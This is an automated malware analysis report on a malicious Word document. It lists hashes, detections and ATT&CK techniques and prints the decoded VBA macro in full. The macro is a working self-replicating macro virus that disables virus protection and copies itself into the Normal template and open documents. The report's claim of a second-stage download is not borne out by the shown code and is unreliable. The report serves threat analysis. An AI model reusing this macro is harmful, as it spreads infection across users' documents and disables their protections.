Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b847d229323dd1bc…

MALICIOUS

Office (OLE)

61.5 KB Created: 2017-04-05 01:22:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: cbf4c9a8e967a44970462fcdcaaaf703 SHA-1: 30273a619e5d082e60afa8ac2f7228e1cee7a017 SHA-256: b847d229323dd1bc43107841527f1d5c14c511cd3d956cabe2f07711d6ff1225
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing a Document_Open VBA macro. This macro is designed to execute automatically when the document is opened, attempting to overwrite the NormalTemplate with malicious code. The macro's logic suggests it is intended to download and execute a second-stage payload, indicated by the 'APMPKILL' string and the heuristic firings.

Heuristics 3

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: f136142b40965ce41763caed3acb0ccab48ef04e860145c7f9d9ef01967df9ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub